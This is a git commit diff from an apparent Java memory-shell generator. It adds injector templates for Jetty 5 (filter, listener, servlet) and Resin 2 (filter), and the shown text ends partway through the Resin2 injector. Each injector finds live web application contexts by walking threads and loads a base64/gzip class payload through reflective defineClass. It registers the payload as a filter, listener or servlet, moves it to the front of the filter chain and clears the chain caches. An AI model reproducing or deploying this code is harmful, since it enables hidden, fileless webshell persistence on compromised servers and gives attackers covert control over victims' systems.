feat: support resin2 and jetty5

This commit is contained in:
ReaJason
2026-07-04 02:59:43 +08:00
parent af4c8b1d63
commit 13312242e5
51 changed files with 3426 additions and 226 deletions
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Jetty5 = "Jetty5";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String Resin2 = "Resin2";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
@@ -33,9 +33,11 @@ public class ServerFactory {
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Jetty5, Jetty5::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.Resin2, Resin2::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JETTY5 = "Jetty5";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String RESIN2 = "Resin2";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
@@ -0,0 +1,297 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object webApplicationHandler = getWebApplicationHandler(context);
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
Object filterHolder = invokeMethod(
webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
invokeMethod(
webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
moveLastPathFilterToFront(webApplicationHandler);
clearChainCache(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private void moveLastPathFilterToFront(Object webApplicationHandler) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters != null && pathFilters.size() > 1) {
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
pathFilters.add(0, filterMapping);
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,440 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object listener) throws Exception {
if (hasListener(context)) {
return;
}
Object webApplicationHandler = getWebApplicationHandler(context);
try {
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Throwable ignored) {
}
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
ensureJsr154Filter(webApplicationHandler);
syncJsr154Filter(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private boolean hasListener(Object context) throws Exception {
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
return true;
}
Object webApplicationHandler = getWebApplicationHandler(context);
return hasWebApplicationHandlerListener(webApplicationHandler);
}
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
return true;
}
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
}
private Object getFieldValueQuietly(Object obj, String name) {
try {
return getFieldValue(obj, name);
} catch (Throwable ignored) {
return null;
}
}
private boolean containsListener(Object listeners) {
if (listeners == null) {
return false;
}
if (listeners instanceof List) {
List list = (List) listeners;
for (int i = 0; i < list.size(); i++) {
if (isInjectedListener(list.get(i))) {
return true;
}
}
return false;
}
if (listeners.getClass().isArray()) {
int length = Array.getLength(listeners);
for (int i = 0; i < length; i++) {
if (isInjectedListener(Array.get(listeners, i))) {
return true;
}
}
return false;
}
return isInjectedListener(listeners);
}
private boolean isInjectedListener(Object listener) {
return listener != null && listener.getClass().getName().contains(getClassName());
}
private void ensureJsr154Filter(Object webApplicationHandler) {
try {
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
if (filterHolder == null) {
filterHolder = invokeMethod(webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
}
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
try {
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
} catch (Throwable ignored) {
}
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
invokeMethod(webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
}
movePathFilterToFront(webApplicationHandler, "jsr154");
clearChainCache(webApplicationHandler);
} catch (Throwable ignored) {
}
}
private void syncJsr154Filter(Object webApplicationHandler) {
try {
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
if (jsr154Filter == null) {
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
if (jsr154FilterHolder != null) {
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
}
}
if (jsr154Filter == null) {
return;
}
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
} catch (Throwable ignored) {
}
}
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null) {
return false;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
return true;
}
}
} catch (Throwable ignored) {
}
return false;
}
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null || pathFilters.size() < 2) {
return;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
pathFilters.remove(i);
pathFilters.add(0, filterMapping);
return;
}
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getWebApplicationHandler(context);
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
invokeMethod(
servletHandler,
"addServlet",
new Class[]{String.class, String.class, String.class},
new Object[]{getClassName(), getUrlPattern(), getClassName()});
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,270 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object filter) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
ClassLoader loader = context.getClass().getClassLoader();
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
Object filterConfig = newInstance(
qFilterConfigClass,
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
new Object[]{context, getClassName(), getClassName(), null});
filters.put(getClassName(), filterConfig);
List filterList = (List) getFieldValue(context, "_filterList");
if (filterList != null && !filterList.contains(filterConfig)) {
filterList.add(filterConfig);
}
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
